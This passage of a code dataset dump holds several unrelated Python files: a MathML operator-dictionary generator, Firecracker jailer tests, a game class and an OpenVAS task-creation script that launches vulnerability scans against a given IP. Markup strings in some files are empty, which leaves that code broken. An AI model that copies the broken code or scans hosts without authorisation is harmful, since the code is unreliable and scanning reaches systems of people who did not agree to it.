value\n\t\t\tk,residue,rank,singular = np.linalg.lstsq(self.ba_mats[i], self.f_vecs[i])\n\t\t\tif notrelative:\n\t\t\t\tself.result['ks'].append( k )\n\t\t\telse:\n\t\t\t\tself.result['ks'].append( k / k[0][0] )\n\t\t\tself.result['residues'].append( residue )\n\t\t\tself.result['ranks'].append( rank )\n\t\t\tself.result['singulars'].append( singular )\n\n\nif __name__ == '__main__':\n\tbarrel = Barrel('1BXW', 'data/1BXW.geo', 'data/1BXW.pdb')\n\tStickBlockDict(barrel)\n\n\n","sub_path":"code/equsys.py","file_name":"equsys.py","file_ext":"py","file_size_in_byte":7407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"425822472","text":"#!/usr/bin/python3\n\nfrom lxml import etree\nfrom download import downloadUnicodeXML\nfrom math import ceil\n\nimport operator\nimport json\n\n# Retrieve the unicode.xml file if necessary.\nunicodeXML = downloadUnicodeXML()\n\ndefaultSpacing = 5 # 0.2777777777777778em\n\ndef parseHexaNumber(string):\n return int(\"0x%s\" % string, 16)\n\ndef parseHexaSequence(string):\n return tuple(map(parseHexaNumber, string[1:].split(\"-\")))\n\ndef parseSpaces(value, entry, names):\n for name in names:\n value[name] = defaultSpacing\n attributeValue = entry.get(name)\n if attributeValue is not None:\n value[name] = int(attributeValue)\n\ndef parseProperties(value, entry, names):\n attributeValue = entry.get(\"properties\")\n if attributeValue is not None:\n if (\"properties\" not in value):\n value[\"properties\"] = {}\n for name in names:\n if attributeValue.find(name) >= 0:\n value[\"properties\"][name] = True\n\ndef serializeString(characters):\n string = \"\"\n for c in characters:\n string += chr(c)\n return string\n\ndef buildKey(characters, form):\n # Concatenate characters and form to build the key.\n key = serializeString(characters)\n key += \" \" + form\n return key\n\ndef toHexa(character):\n return \"U+%04X\" % character\n\ndef appendCharacters(name, character, value):\n if value:\n if \"value\" not in knownTables[name]:\n knownTables[name][\"value\"] = value\n assert knownTables[name][\"value\"] == value\n\n assert len(characters) in [1, 2]\n\n if len(characters) > 1:\n if \"multipleChar\" not in knownTables[name]:\n knownTables[name][\"multipleChar\"] = []\n knownTables[name][\"multipleChar\"].append(characters)\n if (characters not in multipleCharTable):\n multipleCharTable.append(characters)\n return\n\n if \"singleChar\" not in knownTables[name]:\n knownTables[name][\"singleChar\"] = []\n if (characters[0] not in knownTables[name][\"singleChar\"]):\n knownTables[name][\"singleChar\"].append(characters[0])\n\ndef dumpKnownTables(fenceAndSeparators):\n for name, item in sorted(knownTables.items(),\n key=(lambda v: len(v[1][\"singleChar\"])),\n reverse=True):\n if ((name in [\"fence\", \"separator\"]) != fenceAndSeparators):\n continue\n print(name)\n\n table = item[\"singleChar\"]\n print(\" singleChar (%d): \" % len(table), end=\"\")\n for unicodeRange in toRanges(table):\n print(\"%s, \" % stringifyRange(unicodeRange), end=\"\")\n\n if \"multipleChar\" in item:\n table = item[\"multipleChar\"]\n print(\" multipleChar (%d): \" % len(table), end=\"\")\n for sequence in sorted(table):\n print(\"'%s' \" % serializeString(sequence), end=\"\")\n print(\"\")\n\n print(\"\")\n\ndef stringifyRange(unicodeRange):\n if unicodeRange[0] == unicodeRange[1]:\n return \"{%s}\" % toHexa(unicodeRange[0])\n else:\n return \"[%s–%s]\" % (toHexa(unicodeRange[0]), toHexa(unicodeRange[1]))\n\ndef toRanges(operators, max_range_length = 256):\n current_range = None\n ranges = []\n\n for character in operators:\n if not current_range:\n current_range = character, character\n else:\n if (current_range[1] + 1 - current_range[0] < max_range_length and\n current_range[1] + 1 == character):\n current_range = current_range[0], character\n else:\n ranges.append(current_range)\n current_range = character, character\n\n if current_range:\n ranges.append(current_range)\n\n return ranges\n\ndef printCodePointStats():\n ranges=[(0x0000, 0x1FFF), (0x2000, 0x2FFF)]\n minmax=[]\n for r in ranges:\n minmax.append([r[1], r[0]])\n\n for name in knownTables:\n for entry in knownTables[name][\"singleChar\"]:\n for index, r in enumerate(ranges):\n if r[0] <= entry and entry <= r[1]:\n minmax[index][0] = min(minmax[index][0], entry)\n minmax[index][1] = max(minmax[index][1], entry)\n\n print(\"Code points are in the following intervals:\")\n s = 0\n for r in minmax:\n print(\" [%s–%s] (length 0x%04X)\" % (toHexa(r[0]), toHexa(r[1]), r[1] - r[0] + 1))\n s += r[1] - r[0] + 1\n\n print(\"Total: 0x%04X different code points\\n\" % s)\n\ndef printRangeStats():\n print(\"The max of codePointEnd - codePointStart for ranges are \")\n maxDeltaTotal = 0\n for name in knownTables:\n maxDelta = 0\n for unicodeRange in toRanges(knownTables[name][\"singleChar\"]):\n maxDelta = max(maxDelta, unicodeRange[1] - unicodeRange[0])\n print(maxDelta, end=\" \")\n maxDeltaTotal = max(maxDeltaTotal, maxDelta)\n\n print(\"(maximum is 0x%04X)\" % maxDeltaTotal)\n print()\n\n# Extract the operator dictionary.\nxsltTransform = etree.XSLT(etree.parse(\"./operator-dictionary.xsl\"))\n\nroot = xsltTransform(etree.parse(unicodeXML)).getroot()\notherEntriesWithMultipleCharacters={}\nknownTables = {\n \"infixEntriesWithDefaultValues\": {},\n \"infixEntriesWithSpacing4\": {},\n \"infixEntriesWithSpacing3\": {},\n \"infixEntriesWithSpacing5AndStretchy\": {},\n \"prefixEntriesWithSpacing0AndStretchySymmetric\": {},\n \"postfixEntriesWithSpacing0AndStretchySymmetric\": {},\n \"prefixEntriesWithLspace0Rspace0\": {},\n \"postfixEntriesWithLspace0Rspace0\": {},\n \"postfixEntriesWithLspace0Rspace0AndStretchy\": {},\n \"prefixEntriesWithLspace3Rspace3AndSymmetricLargeop\": {},\n \"prefixEntriesWithLspace3Rspace3AndSymmetricMovablelimitsLargeop\": {},\n \"infixEntriesWithLspace0Rspace0\": {},\n \"infixEntriesWithLspace0Rspace3\": {},\n \"prefixEntriesWithLspace3Rspace0\": {},\n \"fence\": {},\n \"separator\": {},\n}\nmultipleCharTable = []\notherEntries={}\notherValuesCount={}\notherValueTotalCount=0\n\nfor entry in root:\n unicodeText = entry.get(\"unicode\")\n characters = parseHexaSequence(unicodeText)\n\n form = entry.get(\"form\")\n key = buildKey(characters, form)\n value = {\"form\": form}\n parseSpaces(value, entry, [\"lspace\", \"rspace\"])\n parseProperties(value, entry, [\"stretchy\",\n \"symmetric\",\n \"largeop\",\n \"movablelimits\",\n \"fence\",\n \"separator\"])\n\n if \"properties\" in value:\n # Use a separate tables for fence and separators as they are not needed\n # for rendering.\n if (\"fence\" in value[\"properties\"]):\n appendCharacters(\"fence\", characters, None)\n del value[\"properties\"][\"fence\"]\n if (\"separator\" in value[\"properties\"]):\n appendCharacters(\"separator\", characters, None)\n del value[\"properties\"][\"separator\"]\n if (value[\"properties\"] == {}):\n del value[\"properties\"]\n\n if (value[\"lspace\"] == defaultSpacing and\n value[\"rspace\"] == defaultSpacing and\n \"properties\" not in value and\n form == \"infix\"):\n appendCharacters(\"infixEntriesWithDefaultValues\", characters, value)\n continue\n\n if (value[\"lspace\"] == 4 and\n value[\"rspace\"] == 4 and\n \"properties\" not in value and\n form == \"infix\"):\n appendCharacters(\"infixEntriesWithSpacing4\", characters, value)\n continue\n\n if (value[\"lspace\"] == 3 and\n value[\"rspace\"] == 3 and\n \"properties\" not in value and\n form == \"infix\"):\n appendCharacters(\"infixEntriesWithSpacing3\", characters, value)\n continue\n\n if (value[\"lspace\"] == 5 and\n value[\"rspace\"] == 5 and\n value[\"properties\"] == {'stretchy': True} and\n form == \"infix\"):\n appendCharacters(\"infixEntriesWithSpacing5AndStretchy\", characters, value)\n continue\n\n if (value[\"lspace\"] == 0 and\n value[\"rspace\"] == 0 and\n \"properties\" in value and\n value[\"properties\"] == {'symmetric': True, 'stretchy': True} and\n form == \"prefix\"):\n appendCharacters(\"prefixEntriesWithSpacing0AndStretchySymmetric\", characters, value)\n continue\n\n if (value[\"lspace\"] == 0 and\n value[\"rspace\"] == 0 and\n \"properties\" in value and\n value[\"properties\"] == {'symmetric': True, 'stretchy': True} and\n form == \"postfix\"):\n appendCharacters(\"postfixEntriesWithSpacing0AndStretchySymmetric\", characters, value)\n continue\n\n if (value[\"lspace\"] == 1 and\n value[\"rspace\"] == 2 and\n \"properties\" in value and\n value[\"properties\"] == {'symmetric': True, 'largeop': True} and\n form == \"prefix\"):\n appendCharacters(\"prefixEntriesWithLspace1Rspace2AndSymmetricLargeop\", characters, value)\n continue\n\n if (value[\"lspace\"] == 3 and\n value[\"rspace\"] == 3 and\n \"properties\" in value and\n value[\"properties\"] == {'symmetric': True, 'movablelimits': True, 'largeop': True} and\n form == \"prefix\"):\n appendCharacters(\"prefixEntriesWithLspace3Rspace3AndSymmetricMovablelimitsLargeop\", characters, value)\n continue\n\n if (value[\"lspace\"] == 0 and\n value[\"rspace\"] == 1 and\n \"properties\" in value and\n value[\"properties\"] == {'symmetric': True, 'largeop': True} and\n form == \"prefix\"):\n appendCharacters(\"prefixEntriesWithLspace0Rspace1AndSymmetricLargeop\", characters, value)\n continue\n\n if (value[\"lspace\"] == 0 and\n value[\"rspace\"] == 0 and\n \"properties\" not in value and\n form == \"prefix\"):\n appendCharacters(\"prefixEntriesWithLspace0Rspace0\", characters, value)\n continue\n\n if (value[\"lspace\"] == 0 and\n value[\"rspace\"] == 0 and\n \"properties\" not in value and\n form == \"postfix\"):\n appendCharacters(\"postfixEntriesWithLspace0Rspace0\", characters, value)\n continue\n\n if (value[\"lspace\"] == 0 and\n value[\"rspace\"] == 0 and\n \"properties\" in value and\n value[\"properties\"] == {'stretchy': True} and\n form == \"postfix\"):\n appendCharacters(\"postfixEntriesWithLspace0Rspace0AndStretchy\", characters, value)\n continue\n\n if (value[\"lspace\"] == 3 and\n value[\"rspace\"] == 3 and\n \"properties\" in value and\n value[\"properties\"] == {'symmetric': True, 'largeop': True} and\n form == \"prefix\"):\n appendCharacters(\"prefixEntriesWithLspace3Rspace3AndSymmetricLargeop\", characters, value)\n continue\n\n if (value[\"lspace\"] == 0 and\n value[\"rspace\"] == 0 and\n \"properties\" not in value and\n form == \"infix\"):\n appendCharacters(\"infixEntriesWithLspace0Rspace0\", characters, value)\n continue\n\n if (value[\"lspace\"] == 0 and\n value[\"rspace\"] == 3 and\n \"properties\" not in value and\n form == \"infix\"):\n appendCharacters(\"infixEntriesWithLspace0Rspace3\", characters, value)\n continue\n\n if (value[\"lspace\"] == 3 and\n value[\"rspace\"] == 0 and\n \"properties\" not in value and\n form == \"prefix\"):\n appendCharacters(\"prefixEntriesWithLspace3Rspace0\", characters, value)\n continue\n\n if len(characters) > 1:\n otherEntriesWithMultipleCharacters[key] = value\n continue\n character = characters[0]\n\n v = str(value)\n if v not in otherValuesCount:\n otherValuesCount[v] = 0\n otherEntries[v] = []\n\n otherValuesCount[v] += 1\n otherValueTotalCount += 1\n otherEntries[v].append(character)\n\nmultipleCharTable.sort()\n\nsingleCharCount = otherValueTotalCount\nfor name in knownTables:\n singleCharCount += len(knownTables[name][\"singleChar\"])\nmultipleCharCount = (len(multipleCharTable) +\n len(otherEntriesWithMultipleCharacters))\nprint(\"Dictionary size: %d\" % (singleCharCount + multipleCharCount))\nprint(\" single char: %d\" % singleCharCount)\nprint(\" multiple char: %d\" % multipleCharCount)\nprint(\"\")\n\ndumpKnownTables(False)\n\nprint(\"otherEntries\", otherValueTotalCount)\nfor value, count in sorted(otherValuesCount.items(),\n key=operator.itemgetter(1), reverse=True):\n print(\" * %s: %d\" % (value, count))\n print(\" [\", end=\"\")\n for entry in otherEntries[value]:\n print(toHexa(entry), end=\", \")\n print(\"]\")\n print(\"\")\n\nprint(\"otherEntriesWithMultipleCharacters\",\n len(otherEntriesWithMultipleCharacters))\nfor name in otherEntriesWithMultipleCharacters:\n print(\" * %s: %s\" % (name, str(otherEntriesWithMultipleCharacters[name])))\nprint(\"\")\n\nprint(\"Other tables:\\n\")\ndumpKnownTables(True)\n\nprint(\"multiple char (%d): \" % len(multipleCharTable), end=\"\")\nfor sequence in sorted(multipleCharTable):\n print(\"'%s' \" % serializeString(sequence), end=\"\")\nprint(\"\\n\")\n\n################################################################################\ndef serializeValue(value, fence, separator):\n properties = \"\"\n if \"properties\" in value:\n for p in [\"stretchy\", \"symmetric\", \"largeop\", \"movablelimits\"]:\n if p in value[\"properties\"]:\n properties += \"%s \" % p\n if fence:\n properties += \"fence \"\n if separator:\n properties += \"separator \"\n if properties == \"\":\n properties = \"N/A\"\n\n spaces = [\"0\",\n \"0.05555555555555555em\",\n \"0.1111111111111111em\",\n \"0.16666666666666666em\",\n \"0.2222222222222222em\",\n \"0.2777777777777778em\",\n \"0.3333333333333333em\",\n \"0.3888888888888889em\"]\n\n return \"%s%s%s\" % (\n spaces[value[\"lspace\"]],\n spaces[value[\"rspace\"]],\n properties)\n\ntotalEntryCount = 0\nprint(\"Generate operator-dictionary.html...\", end=\" \");\nmd = open(\"operator-dictionary.html\", \"w\")\nmd.write(\"\\n\");\n\nmd.write('
')\nmd.write(\"\\n\");\nmd.write(\"\")\nfor name, item in sorted(knownTables.items(),\n key=(lambda v: len(v[1][\"singleChar\"])),\n reverse=True):\n if ((name in [\"fence\", \"separator\"])):\n continue\n for entry in knownTables[name][\"singleChar\"]:\n if entry >= 0x10000:\n md.write('')\n else:\n md.write(\"\")\n md.write(\"\" % (entry, entry))\n md.write(\"\" % knownTables[name][\"value\"][\"form\"])\n md.write(serializeValue(knownTables[name][\"value\"],\n entry in knownTables[\"fence\"][\"singleChar\"],\n entry in knownTables[\"separator\"][\"singleChar\"]))\n totalEntryCount += 1\n md.write(\"\");\n if \"multipleChar\" in knownTables[name]:\n for entry in knownTables[name][\"multipleChar\"]:\n md.write(\"\");\n md.write(\"\")\n md.write(\"\" % knownTables[name][\"value\"][\"form\"])\n fence = \"multipleChar\" in knownTables[\"fence\"] and entry in knownTables[\"fence\"][\"multipleChar\"]\n separator = \"multipleChar\" in knownTables[\"separator\"] and entry in knownTables[\"separator\"][\"multipleChar\"]\n md.write(serializeValue(knownTables[name][\"value\"],\n fence,\n separator))\n totalEntryCount += 1\n md.write(\"\");\n\n# FIXME: decide what to do with these values.\n# Ugly hack for now, hopefully these edge cases will be handled normally later or removed.\nfor value, count in sorted(otherValuesCount.items(),\n key=operator.itemgetter(1), reverse=True):\n for entry in otherEntries[value]:\n parsed_value = json.loads(value.replace(\"'\", '\"').replace(\"True\", '\"True\"'))\n md.write(\"\");\n md.write(\"\" % (entry, entry))\n md.write(\"\" % parsed_value[\"form\"])\n md.write(serializeValue(parsed_value,\n \"properties\" in parsed_value and \"fence\" in parsed_value[\"properties\"],\n \"properties\" in parsed_value and \"separator\" in parsed_value[\"properties\"]))\n md.write(\"\");\nfor name in otherEntriesWithMultipleCharacters:\n md.write(\"\");\n md.write(\"\")\n md.write(\"\" % otherEntriesWithMultipleCharacters[name][\"form\"])\n md.write(serializeValue(otherEntriesWithMultipleCharacters[name], False, False))\n md.write(\"\");\n\nmd.write(\"
Contentformrspacelspaceproperties
&#x%0X; U+%04X%s
String \")\n md.write(serializeString(entry))\n for character in entry:\n md.write(\" U+%04X\" % character)\n md.write(\"%s
&#x%0X; U+%04X%s
String \")\n md.write(name)\n md.write(\"%s
\\n\");\nmd.write('
Mapping from operator (Content, Form) to properties.
Total size: %d entries, ≥ %d bytes
(assuming \\'Content\\' uses at least one UTF-16 character, \\'Form\\' 2 bits, spacing 3 bits and properties 3 bits).
' % (totalEntryCount, ceil(totalEntryCount * (16 + 2 + 3 + 3)/8.)))\nmd.write('
')\nprint(\"done.\");\n################################################################################\n\n# Delete infix operators using default values.\ndel knownTables[\"infixEntriesWithDefaultValues\"]\n\n# Convert nonBMP characters to surrogates pair (multiChar)\n# Not used anymore, but keep it in case that changes in the future...\ndef convertToSurrogatePairs():\n for name in knownTables:\n for entry in knownTables[name][\"singleChar\"]:\n if entry >= 0x10000:\n if \"multipleChar\" not in knownTables[name]:\n knownTables[name][\"multipleChar\"] = []\n high_surrogate = ((entry - 0x10000) // 0x400) + 0xD800\n low_surrogate = ((entry - 0x10000) & (0x400 - 1)) + 0xDC00\n characters = (high_surrogate, low_surrogate)\n knownTables[name][\"multipleChar\"].append(characters)\n if characters not in multipleCharTable:\n multipleCharTable.append(characters)\n\n for entry in knownTables[name][\"singleChar\"]:\n knownTables[name][\"singleChar\"] = [ entry for entry in knownTables[name][\"singleChar\"] if entry < 0x10000 ]\n\n multipleCharTable.sort()\n for name in knownTables:\n if \"multipleChar\" in knownTables[name]:\n knownTables[name][\"multipleChar\"].sort()\n knownTables[name][\"singleChar\"].sort()\n\n# Remove non-BMP characters.\nknownNonBMP = [0x1EEF0, 0x1EEF1]\nfor name in knownTables:\n for entry in knownTables[name][\"singleChar\"]:\n assert entry < 0x10000 or entry in knownNonBMP\n knownTables[name][\"singleChar\"] = [ entry for entry in knownTables[name][\"singleChar\"] if entry < 0x10000 ]\n\n# Convert multiChar to singleChar\nreservedBlock = (0x0320, 0x03FF)\nfor name in knownTables:\n if \"multipleChar\" in knownTables[name]:\n for entry in knownTables[name][\"multipleChar\"]:\n codePoint = reservedBlock[0] + multipleCharTable.index(entry);\n assert codePoint <= reservedBlock[1]\n if codePoint not in knownTables[name][\"singleChar\"]:\n knownTables[name][\"singleChar\"].append(codePoint)\n\nfor name in knownTables:\n knownTables[name][\"singleChar\"].sort()\n\n# Print more statistics\nprint()\nprintCodePointStats()\nprintRangeStats()\n\n# Print the compact dictionary\nprint(\"Generate operator-dictionary-compact.html...\", end=\" \");\nmd = open(\"operator-dictionary-compact.html\", \"w\")\nmd.write(\"\\n\");\n\ntotalEntryCount = 0\ntotalBytes = 0\nmd.write('
')\nmd.write(\"\");\nmd.write(\"\");\nmd.write(\"\");\nmd.write(\"\");\nmd.write(\"\")\nmd.write(\"\");\nmd.write(\"\");\nmd.write(\"\")\n\nfor name, item in sorted(knownTables.items(),\n key=(lambda v: len(v[1][\"singleChar\"])),\n reverse=True):\n if name not in [\"fence\", \"separator\"]:\n continue\n count = len(knownTables[name][\"singleChar\"])\n md.write(\"\")\n md.write(\"\" % name);\n ranges = toRanges(knownTables[name][\"singleChar\"])\n if (3 * len(ranges) < 2 * count):\n md.write(\"\")\n md.write(\"\")\nmd.write(\"
Special TableEntries
Operators_2_ascii_chars%d entries (2-characters ASCII strings): \" % len(multipleCharTable));\nfor sequence in multipleCharTable:\n assert len(sequence) == 2\n md.write(\"'%s%s', \" % (chr(sequence[0]), chr(sequence[1])))\n totalBytes += 2\n totalEntryCount += 1\nmd.write(\"
Operators_%s%d entries (%d Unicode ranges): \" % (count, len(ranges)))\n for entry in ranges:\n md.write(\"%s, \" % stringifyRange(entry))\n totalBytes += 3 * len(ranges)\n else:\n md.write(\"%d entries: \" % count)\n for entry in knownTables[name][\"singleChar\"]:\n md.write(\"U+%04X, \" % entry)\n totalBytes += 2 * count\n totalEntryCount += count\n md.write(\"
\");\nmd.write('
Special tables for the operator dictionary.
Total size: %d entries, %d bytes.
(assuming characters are UTF-16 and 1-byte range lengths)
' % (totalEntryCount, totalBytes))\nmd.write('
')\n\ntotalEntryCount = 0\ntotalBytes = 0\nvalue_index = 0\nmd.write('
')\nmd.write(\"\");\nmd.write(\"\");\n\nfor name, item in sorted(knownTables.items(),\n key=(lambda v: len(v[1][\"singleChar\"])),\n reverse=True):\n if name in [\"fence\", \"separator\"]:\n continue\n count = len(knownTables[name][\"singleChar\"])\n md.write(\"\")\n totalEntryCount += count\n\n ranges = toRanges(knownTables[name][\"singleChar\"])\n if (3 * len(ranges) < 2 * count):\n md.write(\"\")\n md.write(\"\" % chr(ord('A') + value_index));\n value_index += 1;\n md.write(\"\")\nmd.write(\"
(Content, Form) keysCategory
%d entries (%d Unicode ranges) in %s form: \" % (count, len(ranges), knownTables[name][\"value\"][\"form\"]))\n for entry in ranges:\n md.write(\"%s, \" % stringifyRange(entry))\n totalBytes += 3 * len(ranges)\n else:\n md.write(\"%d entries in %s form: \" % (count, knownTables[name][\"value\"][\"form\"]))\n for entry in knownTables[name][\"singleChar\"]:\n md.write(\"U+%04X, \" % entry)\n totalBytes += 2 * count\n md.write(\"%s
\");\nmd.write('
Mapping from operator (Content, Form) to a category.
Total size: %d entries, %d bytes.
(assuming characters are UTF-16 and 1-byte range lengths)
' % (totalEntryCount, totalBytes))\nmd.write('
')\n\ndef formValueFromString(value):\n form = knownTables[name][\"value\"][\"form\"]\n if form == \"infix\":\n return 0\n if form == \"prefix\":\n return 1\n assert form == \"postfix\"\n return 2\n\ncategory_for_form = [0, 0, 0]\nvalue_index = 0\nmd.write('
')\nmd.write(\"\");\nmd.write(\"\")\nfor name, item in sorted(knownTables.items(),\n key=(lambda v: len(v[1][\"singleChar\"])),\n reverse=True):\n if ((name in [\"fence\", \"separator\"])):\n continue\n for entry in knownTables[name][\"singleChar\"]:\n md.write(\"\");\n md.write(\"\" % chr(ord('A') + value_index))\n md.write(\"\" % knownTables[name][\"value\"][\"form\"]);\n form = formValueFromString(knownTables[name][\"singleChar\"])\n if category_for_form[form] >= 4:\n md.write(\"\")\n else:\n hexa = form + (category_for_form[form] << 2)\n category_for_form[form] += 1\n md.write(\"\" % hexa)\n md.write(serializeValue(knownTables[name][\"value\"], False, False))\n md.write(\"\");\n break\n value_index += 1\n\nmd.write(\"
CategoryFormEncodingrspacelspaceproperties
%s%sN/A0x%01X
\");\nmd.write('
Operators values for each category.
The third column provides a 4bits encoding of the categories
where the 2 least significant bits encodes the form infix (0), prefix (1) and postfix (2).
')\nmd.write('
')\n\nprint(\"done.\");\n\n# Calculate compact form for the largest categories.\ncompact_table = []\ncategory_for_form = [0, 0, 0]\ntotalEntryCount = 0\nfor name, item in sorted(knownTables.items(),\n key=(lambda v: len(v[1][\"singleChar\"])),\n reverse=True):\n if name in [\"fence\", \"separator\"]:\n continue\n count = len(knownTables[name][\"singleChar\"])\n form = formValueFromString(knownTables[name][\"singleChar\"])\n if category_for_form[form] >= 4:\n continue\n totalEntryCount += count\n hexa = form + (category_for_form[form] << 2)\n category_for_form[form] += 1\n\n for entry in knownTables[name][\"singleChar\"]:\n assert entry <= 0x3FF or (0x2000 <= entry and entry <= 0x2BFF)\n if 0x2000 <= entry and entry <= 0x2BFF:\n entry = entry - 0x1C00\n entry = entry + (hexa << 12)\n compact_table.append(entry)\n\ndef cmp_key(x):\n return x & 0x3FFF\ncompact_table.sort(key=cmp_key)\n\nbits_per_range = 4\ncompact_table = toRanges(compact_table, 1 << bits_per_range)\nrangeCount = 0\n\nmd.write('
')\nmd.write('%d entries (%d ranges of length at most %d): ' % (totalEntryCount, len(compact_table), 1 << bits_per_range));\nfor r in compact_table:\n if r[0] == r[1]:\n md.write('{0x%04X}, ' % r[0])\n else:\n md.write('[0x%04X–0x%04X], ' % (r[0], r[1]))\n rangeCount += 1\n\nmd.write('');\nmd.write('
List of entries for the largest categories, sorted by key.
Key is Entry %% 0x4000, category encoding is Entry / 0x1000.
Total size: %d entries, %d bytes
(assuming %d bits for range lengths).
' % (totalEntryCount, ceil((16+bits_per_range) * rangeCount / 8.), bits_per_range))\nmd.write('
')\n\n# Dump compact dictionary for C++-like table.\n#for r in compact_table:\n# print('{0x%04X, %d}, ' % (r[0], r[1] - r[0]), end=\"\")\n#print()\n","sub_path":"tables/operator-dictionary.py","file_name":"operator-dictionary.py","file_ext":"py","file_size_in_byte":26908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"126345605","text":"# Copyright 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n# SPDX-License-Identifier: Apache-2.0\n\"\"\"Tests that verify the jailer's behavior.\"\"\"\nimport os\n\n\ndef test_default_chroot(test_microvm_with_ssh):\n \"\"\"Test that the code base assigns a chroot if none is specified.\"\"\"\n test_microvm = test_microvm_with_ssh\n\n # Start customizing arguments.\n # Test that firecracker's default chroot folder is indeed `/srv/jailer`.\n test_microvm.jailer.chroot_base = None\n\n test_microvm.spawn()\n\n # Test the expected outcome.\n assert os.path.exists(test_microvm.jailer.api_socket_path())\n\n\ndef test_empty_jailer_id(test_microvm_with_ssh):\n \"\"\"Test that the jailer ID cannot be empty.\"\"\"\n test_microvm = test_microvm_with_ssh\n\n # Set the jailer ID to None.\n test_microvm.jailer.jailer_id = \"\"\n\n # pylint: disable=W0703\n try:\n test_microvm.spawn()\n # If the exception is not thrown, it means that Firecracker was\n # started successfully, hence there's a bug in the code due to which\n # we can set an empty ID.\n assert False\n except Exception as err:\n expected_err = \"Jailer error: Invalid instance ID: invalid len (0);\" \\\n \" the length must be between 1 and 64\"\n assert expected_err in str(err)\n","sub_path":"tests/integration_tests/security/test_jail.py","file_name":"test_jail.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"391472171","text":"import math\n\nclass Game:\n def __init__(self, size):\n self.game_tile_box = (0, 0, size[0], size[1])\n\n self.tile_contents = [[] for pos in self.get_tiles_pos()]\n\n self.sprites = []\n\n self.paused = False\n\n def get_tiles_pos(self, reverse=False):\n \"\"\" Yields x and y of positions of first point in each tile\n - first point depends on the direction of the x and y axes\n \"\"\"\n if reverse:\n y_range = range(self.game_tile_box[1], self.game_tile_box[3])\n else:\n y_range = range(self.game_tile_box[3] - 1, self.game_tile_box[1] - 1, -1)\n for y in y_range:\n for x in range(self.game_tile_box[0], self.game_tile_box[2]):\n yield (x, y)\n\n def update(self, dt):\n if self.paused:\n return False\n\n # Remove dead sprites\n for sprite in self.sprites:\n if sprite.alive:\n sprite.update(dt)\n else:\n self.sprites.remove(sprite)\n\n # Update tile_contents\n tile_index = 0\n for pos in self.get_tiles_pos():\n # Clear previous contents of this tile\n self.tile_contents[tile_index] = []\n\n # find sprites in current tile\n for sprite in self.sprites:\n if sprite.in_tile(pos):\n self.tile_contents[tile_index].append(sprite)\n\n tile_index += 1\n\n # Check collisions, run through tile_contents and call collide on each sprite in the list\n tile_index = 0\n for pos in self.get_tiles_pos():\n if len(self.tile_contents[tile_index]) > 1:\n for sprite in self.tile_contents[tile_index]:\n sprite_index = self.tile_contents[tile_index].index(sprite)\n sprite.collision(dt, self.tile_contents[tile_index][:sprite_index] + self.tile_contents[tile_index][sprite_index+1:])\n tile_index += 1\n\n # kill sprites outside of map\n for sprite in self.sprites:\n if not sprite.alive:\n continue\n\n if math.ceil(sprite.x) + sprite.width < self.game_tile_box[0]:\n sprite.kill()\n elif math.ceil(sprite.y) + sprite.width < self.game_tile_box[1]:\n sprite.kill()\n elif sprite.x > self.game_tile_box[2]:\n sprite.kill()\n elif sprite.y > self.game_tile_box[3]:\n sprite.kill()\n\n\n","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":2474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"25803614","text":"#!/usr/bin/python3\nimport sys\nimport getopt\nimport re\nimport subprocess\n\nfrom lxml import etree\n#from xml.etree.ElementTree import XML\n\ntargetip = ''\ntargetname = ''\ntargetcomment = ''\ntargetid = ''\ntaskid = ''\n\n#input menu for turret to take args from bash and fire a task creation job in openvas (omp) and rapidscan\ndef menu(argyboi):\n global targetip, targetname, targetcomment\n try:\n opts, args = getopt.getopt(argyboi,\"hi:n:c:\",[\"tip=\",\"tname=\",\"tcomment=\"])\n except getopt.GetoptError:\n print('nope, not that')\n sys.exit(2)\n for opt, arg in opts:\n if opt == '-h':\n print('help junk here later')\n sys.exit()\n elif opt in (\"-i\",\"--tip\"):\n targetip = arg\n elif opt in (\"-n\",\"--tname\"):\n targetname = arg\n elif opt in (\"-c\",\"--tcomment\"):\n targetcomment = arg\n print('menu works, heres the output - targetip: ', targetip,'; targetname: ', targetname, '; target comments: ', targetcomment)\n#menu ends\n\n#start omp stuff\ndef createTarget(targetip, targetname):\n global targetid\n create_target = etree.Element('create_target')\n name = etree.SubElement(create_target, \"name\")\n host = etree.SubElement(create_target, \"hosts\")\n name.text = targetname\n host.text = targetip\n xmltocmd = etree.tostring(create_target, pretty_print=True)\n print(xmltocmd)\n run = subprocess.run(['/usr/bin/omp','--xml',xmltocmd], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n chonklet = run.stdout.decode('utf-8')\n chonker = re.findall('\"([^\"]*)\"', chonklet)[0]\n targetid = chonker\n print(targetid)\n\ndef createTask():\n #config id has to be hardcoded, full and fast scan is: daba56c8-73ec-11df-a475-002264764cea\n #will add option to change scan type through cli arg later on - KISS\n global targetid, targetname, targetcomment\n targetidstring = ''\n configidstrong = ''\n mytargetid = etree.XML(targetidstring)\n myconfigid = etree.XML(configidstrong)\n taskname = \"Script generated task for: \" + targetname\n create_task = etree.Element('create_task')\n name = etree.SubElement(create_task, \"name\")\n comment = etree.SubElement(create_task, \"comment\")\n configid = etree.SubElement(create_task, \"config\")\n name.text = taskname\n comment.text = targetcomment\n create_task.extend(myconfigid)\n create_task.extend(mytargetid)\n xmltocmd = etree.tostring(create_task, pretty_print=True)\n\n run = subprocess.run(['/usr/bin/omp','--xml',xmltocmd], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n print(run.stdout)\n chonklet = run.stdout.decode('utf-8')\n chonker = re.findall('\"([^\"]*)\"', chonklet)[0]\n taskid = chonker\n print(taskid)\n\n\n\n#run menu\nif __name__ == \"__main__\":\n menu(sys.argv[1:])\ncreateTarget(targetip, targetname);\ncreateTask()\n","sub_path":"LoadyBoi.py","file_name":"LoadyBoi.py","file_ext":"py","file_size_in_byte":3232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"54805618","text":"#!/usr/bin/env python3\n\n'''BlyncLight intensifies.\n'''\n\nfrom blynclight import BlyncLight\nfrom time import sleep\nfrom argparse import 